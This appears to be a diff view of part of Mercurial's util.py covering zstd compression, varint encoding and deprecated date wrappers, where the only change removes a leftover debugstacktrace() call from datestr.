3804 return compewireprotosupport('zstd', 50, 50)
3805
3805
3806 def revlogheader(self):
3806 def revlogheader(self):
3807 return '\x28'
3807 return '\x28'
3808
3808
3809 def compressstream(self, it, opts=None):
3809 def compressstream(self, it, opts=None):
3810 opts = opts or {}
3810 opts = opts or {}
3811 # zstd level 3 is almost always significantly faster than zlib
3811 # zstd level 3 is almost always significantly faster than zlib
3812 # while providing no worse compression. It strikes a good balance
3812 # while providing no worse compression. It strikes a good balance
3813 # between speed and compression.
3813 # between speed and compression.
3814 level = opts.get('level', 3)
3814 level = opts.get('level', 3)
3815
3815
3816 zstd = self._module
3816 zstd = self._module
3817 z = zstd.ZstdCompressor(level=level).compressobj()
3817 z = zstd.ZstdCompressor(level=level).compressobj()
3818 for chunk in it:
3818 for chunk in it:
3819 data = z.compress(chunk)
3819 data = z.compress(chunk)
3820 if data:
3820 if data:
3821 yield data
3821 yield data
3822
3822
3823 yield z.flush()
3823 yield z.flush()
3824
3824
3825 def decompressorreader(self, fh):
3825 def decompressorreader(self, fh):
3826 zstd = self._module
3826 zstd = self._module
3827 dctx = zstd.ZstdDecompressor()
3827 dctx = zstd.ZstdDecompressor()
3828 return chunkbuffer(dctx.read_from(fh))
3828 return chunkbuffer(dctx.read_from(fh))
3829
3829
3830 class zstdrevlogcompressor(object):
3830 class zstdrevlogcompressor(object):
3831 def __init__(self, zstd, level=3):
3831 def __init__(self, zstd, level=3):
3832 # Writing the content size adds a few bytes to the output. However,
3832 # Writing the content size adds a few bytes to the output. However,
3833 # it allows decompression to be more optimal since we can
3833 # it allows decompression to be more optimal since we can
3834 # pre-allocate a buffer to hold the result.
3834 # pre-allocate a buffer to hold the result.
3835 self._cctx = zstd.ZstdCompressor(level=level,
3835 self._cctx = zstd.ZstdCompressor(level=level,
3836 write_content_size=True)
3836 write_content_size=True)
3837 self._dctx = zstd.ZstdDecompressor()
3837 self._dctx = zstd.ZstdDecompressor()
3838 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3838 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3839 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3839 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3840
3840
3841 def compress(self, data):
3841 def compress(self, data):
3842 insize = len(data)
3842 insize = len(data)
3843 # Caller handles empty input case.
3843 # Caller handles empty input case.
3844 assert insize > 0
3844 assert insize > 0
3845
3845
3846 if insize < 50:
3846 if insize < 50:
3847 return None
3847 return None
3848
3848
3849 elif insize <= 1000000:
3849 elif insize <= 1000000:
3850 compressed = self._cctx.compress(data)
3850 compressed = self._cctx.compress(data)
3851 if len(compressed) < insize:
3851 if len(compressed) < insize:
3852 return compressed
3852 return compressed
3853 return None
3853 return None
3854 else:
3854 else:
3855 z = self._cctx.compressobj()
3855 z = self._cctx.compressobj()
3856 chunks = []
3856 chunks = []
3857 pos = 0
3857 pos = 0
3858 while pos < insize:
3858 while pos < insize:
3859 pos2 = pos + self._compinsize
3859 pos2 = pos + self._compinsize
3860 chunk = z.compress(data[pos:pos2])
3860 chunk = z.compress(data[pos:pos2])
3861 if chunk:
3861 if chunk:
3862 chunks.append(chunk)
3862 chunks.append(chunk)
3863 pos = pos2
3863 pos = pos2
3864 chunks.append(z.flush())
3864 chunks.append(z.flush())
3865
3865
3866 if sum(map(len, chunks)) < insize:
3866 if sum(map(len, chunks)) < insize:
3867 return ''.join(chunks)
3867 return ''.join(chunks)
3868 return None
3868 return None
3869
3869
3870 def decompress(self, data):
3870 def decompress(self, data):
3871 insize = len(data)
3871 insize = len(data)
3872
3872
3873 try:
3873 try:
3874 # This was measured to be faster than other streaming
3874 # This was measured to be faster than other streaming
3875 # decompressors.
3875 # decompressors.
3876 dobj = self._dctx.decompressobj()
3876 dobj = self._dctx.decompressobj()
3877 chunks = []
3877 chunks = []
3878 pos = 0
3878 pos = 0
3879 while pos < insize:
3879 while pos < insize:
3880 pos2 = pos + self._decompinsize
3880 pos2 = pos + self._decompinsize
3881 chunk = dobj.decompress(data[pos:pos2])
3881 chunk = dobj.decompress(data[pos:pos2])
3882 if chunk:
3882 if chunk:
3883 chunks.append(chunk)
3883 chunks.append(chunk)
3884 pos = pos2
3884 pos = pos2
3885 # Frame should be exhausted, so no finish() API.
3885 # Frame should be exhausted, so no finish() API.
3886
3886
3887 return ''.join(chunks)
3887 return ''.join(chunks)
3888 except Exception as e:
3888 except Exception as e:
3889 raise error.RevlogError(_('revlog decompress error: %s') %
3889 raise error.RevlogError(_('revlog decompress error: %s') %
3890 forcebytestr(e))
3890 forcebytestr(e))
3891
3891
3892 def revlogcompressor(self, opts=None):
3892 def revlogcompressor(self, opts=None):
3893 opts = opts or {}
3893 opts = opts or {}
3894 return self.zstdrevlogcompressor(self._module,
3894 return self.zstdrevlogcompressor(self._module,
3895 level=opts.get('level', 3))
3895 level=opts.get('level', 3))
3896
3896
3897 compengines.register(_zstdengine())
3897 compengines.register(_zstdengine())
3898
3898
3899 def bundlecompressiontopics():
3899 def bundlecompressiontopics():
3900 """Obtains a list of available bundle compressions for use in help."""
3900 """Obtains a list of available bundle compressions for use in help."""
3901 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3901 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3902 items = {}
3902 items = {}
3903
3903
3904 # We need to format the docstring. So use a dummy object/type to hold it
3904 # We need to format the docstring. So use a dummy object/type to hold it
3905 # rather than mutating the original.
3905 # rather than mutating the original.
3906 class docobject(object):
3906 class docobject(object):
3907 pass
3907 pass
3908
3908
3909 for name in compengines:
3909 for name in compengines:
3910 engine = compengines[name]
3910 engine = compengines[name]
3911
3911
3912 if not engine.available():
3912 if not engine.available():
3913 continue
3913 continue
3914
3914
3915 bt = engine.bundletype()
3915 bt = engine.bundletype()
3916 if not bt or not bt[0]:
3916 if not bt or not bt[0]:
3917 continue
3917 continue
3918
3918
3919 doc = pycompat.sysstr('``%s``\n %s') % (
3919 doc = pycompat.sysstr('``%s``\n %s') % (
3920 bt[0], engine.bundletype.__doc__)
3920 bt[0], engine.bundletype.__doc__)
3921
3921
3922 value = docobject()
3922 value = docobject()
3923 value.__doc__ = doc
3923 value.__doc__ = doc
3924 value._origdoc = engine.bundletype.__doc__
3924 value._origdoc = engine.bundletype.__doc__
3925 value._origfunc = engine.bundletype
3925 value._origfunc = engine.bundletype
3926
3926
3927 items[bt[0]] = value
3927 items[bt[0]] = value
3928
3928
3929 return items
3929 return items
3930
3930
3931 i18nfunctions = bundlecompressiontopics().values()
3931 i18nfunctions = bundlecompressiontopics().values()
3932
3932
3933 # convenient shortcut
3933 # convenient shortcut
3934 dst = debugstacktrace
3934 dst = debugstacktrace
3935
3935
3936 def safename(f, tag, ctx, others=None):
3936 def safename(f, tag, ctx, others=None):
3937 """
3937 """
3938 Generate a name that it is safe to rename f to in the given context.
3938 Generate a name that it is safe to rename f to in the given context.
3939
3939
3940 f: filename to rename
3940 f: filename to rename
3941 tag: a string tag that will be included in the new name
3941 tag: a string tag that will be included in the new name
3942 ctx: a context, in which the new name must not exist
3942 ctx: a context, in which the new name must not exist
3943 others: a set of other filenames that the new name must not be in
3943 others: a set of other filenames that the new name must not be in
3944
3944
3945 Returns a file name of the form oldname~tag[~number] which does not exist
3945 Returns a file name of the form oldname~tag[~number] which does not exist
3946 in the provided context and is not in the set of other names.
3946 in the provided context and is not in the set of other names.
3947 """
3947 """
3948 if others is None:
3948 if others is None:
3949 others = set()
3949 others = set()
3950
3950
3951 fn = '%s~%s' % (f, tag)
3951 fn = '%s~%s' % (f, tag)
3952 if fn not in ctx and fn not in others:
3952 if fn not in ctx and fn not in others:
3953 return fn
3953 return fn
3954 for n in itertools.count(1):
3954 for n in itertools.count(1):
3955 fn = '%s~%s~%s' % (f, tag, n)
3955 fn = '%s~%s~%s' % (f, tag, n)
3956 if fn not in ctx and fn not in others:
3956 if fn not in ctx and fn not in others:
3957 return fn
3957 return fn
3958
3958
3959 def readexactly(stream, n):
3959 def readexactly(stream, n):
3960 '''read n bytes from stream.read and abort if less was available'''
3960 '''read n bytes from stream.read and abort if less was available'''
3961 s = stream.read(n)
3961 s = stream.read(n)
3962 if len(s) < n:
3962 if len(s) < n:
3963 raise error.Abort(_("stream ended unexpectedly"
3963 raise error.Abort(_("stream ended unexpectedly"
3964 " (got %d bytes, expected %d)")
3964 " (got %d bytes, expected %d)")
3965 % (len(s), n))
3965 % (len(s), n))
3966 return s
3966 return s
3967
3967
3968 def uvarintencode(value):
3968 def uvarintencode(value):
3969 """Encode an unsigned integer value to a varint.
3969 """Encode an unsigned integer value to a varint.
3970
3970
3971 A varint is a variable length integer of 1 or more bytes. Each byte
3971 A varint is a variable length integer of 1 or more bytes. Each byte
3972 except the last has the most significant bit set. The lower 7 bits of
3972 except the last has the most significant bit set. The lower 7 bits of
3973 each byte store the 2's complement representation, least significant group
3973 each byte store the 2's complement representation, least significant group
3974 first.
3974 first.
3975
3975
3976 >>> uvarintencode(0)
3976 >>> uvarintencode(0)
3977 '\\x00'
3977 '\\x00'
3978 >>> uvarintencode(1)
3978 >>> uvarintencode(1)
3979 '\\x01'
3979 '\\x01'
3980 >>> uvarintencode(127)
3980 >>> uvarintencode(127)
3981 '\\x7f'
3981 '\\x7f'
3982 >>> uvarintencode(1337)
3982 >>> uvarintencode(1337)
3983 '\\xb9\\n'
3983 '\\xb9\\n'
3984 >>> uvarintencode(65536)
3984 >>> uvarintencode(65536)
3985 '\\x80\\x80\\x04'
3985 '\\x80\\x80\\x04'
3986 >>> uvarintencode(-1)
3986 >>> uvarintencode(-1)
3987 Traceback (most recent call last):
3987 Traceback (most recent call last):
3988 ...
3988 ...
3989 ProgrammingError: negative value for uvarint: -1
3989 ProgrammingError: negative value for uvarint: -1
3990 """
3990 """
3991 if value < 0:
3991 if value < 0:
3992 raise error.ProgrammingError('negative value for uvarint: %d'
3992 raise error.ProgrammingError('negative value for uvarint: %d'
3993 % value)
3993 % value)
3994 bits = value & 0x7f
3994 bits = value & 0x7f
3995 value >>= 7
3995 value >>= 7
3996 bytes = []
3996 bytes = []
3997 while value:
3997 while value:
3998 bytes.append(pycompat.bytechr(0x80 | bits))
3998 bytes.append(pycompat.bytechr(0x80 | bits))
3999 bits = value & 0x7f
3999 bits = value & 0x7f
4000 value >>= 7
4000 value >>= 7
4001 bytes.append(pycompat.bytechr(bits))
4001 bytes.append(pycompat.bytechr(bits))
4002
4002
4003 return ''.join(bytes)
4003 return ''.join(bytes)
4004
4004
4005 def uvarintdecodestream(fh):
4005 def uvarintdecodestream(fh):
4006 """Decode an unsigned variable length integer from a stream.
4006 """Decode an unsigned variable length integer from a stream.
4007
4007
4008 The passed argument is anything that has a ``.read(N)`` method.
4008 The passed argument is anything that has a ``.read(N)`` method.
4009
4009
4010 >>> try:
4010 >>> try:
4011 ... from StringIO import StringIO as BytesIO
4011 ... from StringIO import StringIO as BytesIO
4012 ... except ImportError:
4012 ... except ImportError:
4013 ... from io import BytesIO
4013 ... from io import BytesIO
4014 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4014 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4015 0
4015 0
4016 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4016 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4017 1
4017 1
4018 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4018 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4019 127
4019 127
4020 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4020 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4021 1337
4021 1337
4022 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4022 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4023 65536
4023 65536
4024 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4024 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4025 Traceback (most recent call last):
4025 Traceback (most recent call last):
4026 ...
4026 ...
4027 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4027 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4028 """
4028 """
4029 result = 0
4029 result = 0
4030 shift = 0
4030 shift = 0
4031 while True:
4031 while True:
4032 byte = ord(readexactly(fh, 1))
4032 byte = ord(readexactly(fh, 1))
4033 result |= ((byte & 0x7f) << shift)
4033 result |= ((byte & 0x7f) << shift)
4034 if not (byte & 0x80):
4034 if not (byte & 0x80):
4035 return result
4035 return result
4036 shift += 7
4036 shift += 7
4037
4037
4038 ###
4038 ###
4039 # Deprecation warnings for util.py splitting
4039 # Deprecation warnings for util.py splitting
4040 ###
4040 ###
4041
4041
4042 defaultdateformats = dateutil.defaultdateformats
4042 defaultdateformats = dateutil.defaultdateformats
4043
4043
4044 extendeddateformats = dateutil.extendeddateformats
4044 extendeddateformats = dateutil.extendeddateformats
4045
4045
4046 def makedate(*args, **kwargs):
4046 def makedate(*args, **kwargs):
4047 msg = ("'util.makedate' is deprecated, "
4047 msg = ("'util.makedate' is deprecated, "
4048 "use 'utils.dateutil.makedate'")
4048 "use 'utils.dateutil.makedate'")
4049 nouideprecwarn(msg, "4.6")
4049 nouideprecwarn(msg, "4.6")
4050 return dateutil.makedate(*args, **kwargs)
4050 return dateutil.makedate(*args, **kwargs)
4051
4051
4052 def datestr(*args, **kwargs):
4052 def datestr(*args, **kwargs):
4053 msg = ("'util.datestr' is deprecated, "
4053 msg = ("'util.datestr' is deprecated, "
4054 "use 'utils.dateutil.datestr'")
4054 "use 'utils.dateutil.datestr'")
4055 nouideprecwarn(msg, "4.6")
4055 nouideprecwarn(msg, "4.6")
4056 debugstacktrace()
4057 return dateutil.datestr(*args, **kwargs)
4056 return dateutil.datestr(*args, **kwargs)
4058
4057
4059 def shortdate(*args, **kwargs):
4058 def shortdate(*args, **kwargs):
4060 msg = ("'util.shortdate' is deprecated, "
4059 msg = ("'util.shortdate' is deprecated, "
4061 "use 'utils.dateutil.shortdate'")
4060 "use 'utils.dateutil.shortdate'")
4062 nouideprecwarn(msg, "4.6")
4061 nouideprecwarn(msg, "4.6")
4063 return dateutil.shortdate(*args, **kwargs)
4062 return dateutil.shortdate(*args, **kwargs)
4064
4063
4065 def parsetimezone(*args, **kwargs):
4064 def parsetimezone(*args, **kwargs):
4066 msg = ("'util.parsetimezone' is deprecated, "
4065 msg = ("'util.parsetimezone' is deprecated, "
4067 "use 'utils.dateutil.parsetimezone'")
4066 "use 'utils.dateutil.parsetimezone'")
4068 nouideprecwarn(msg, "4.6")
4067 nouideprecwarn(msg, "4.6")
4069 return dateutil.parsetimezone(*args, **kwargs)
4068 return dateutil.parsetimezone(*args, **kwargs)
4070
4069
4071 def strdate(*args, **kwargs):
4070 def strdate(*args, **kwargs):
4072 msg = ("'util.strdate' is deprecated, "
4071 msg = ("'util.strdate' is deprecated, "
4073 "use 'utils.dateutil.strdate'")
4072 "use 'utils.dateutil.strdate'")
4074 nouideprecwarn(msg, "4.6")
4073 nouideprecwarn(msg, "4.6")
4075 return dateutil.strdate(*args, **kwargs)
4074 return dateutil.strdate(*args, **kwargs)
4076
4075
4077 def parsedate(*args, **kwargs):
4076 def parsedate(*args, **kwargs):
4078 msg = ("'util.parsedate' is deprecated, "
4077 msg = ("'util.parsedate' is deprecated, "
4079 "use 'utils.dateutil.parsedate'")
4078 "use 'utils.dateutil.parsedate'")
4080 nouideprecwarn(msg, "4.6")
4079 nouideprecwarn(msg, "4.6")
4081 return dateutil.parsedate(*args, **kwargs)
4080 return dateutil.parsedate(*args, **kwargs)
4082
4081
4083 def matchdate(*args, **kwargs):
4082 def matchdate(*args, **kwargs):
4084 msg = ("'util.matchdate' is deprecated, "
4083 msg = ("'util.matchdate' is deprecated, "
4085 "use 'utils.dateutil.matchdate'")
4084 "use 'utils.dateutil.matchdate'")
4086 nouideprecwarn(msg, "4.6")
4085 nouideprecwarn(msg, "4.6")
4087 return dateutil.matchdate(*args, **kwargs)
4086 return dateutil.matchdate(*args, **kwargs)
General Comments 0
You need to be logged in to leave comments. Login now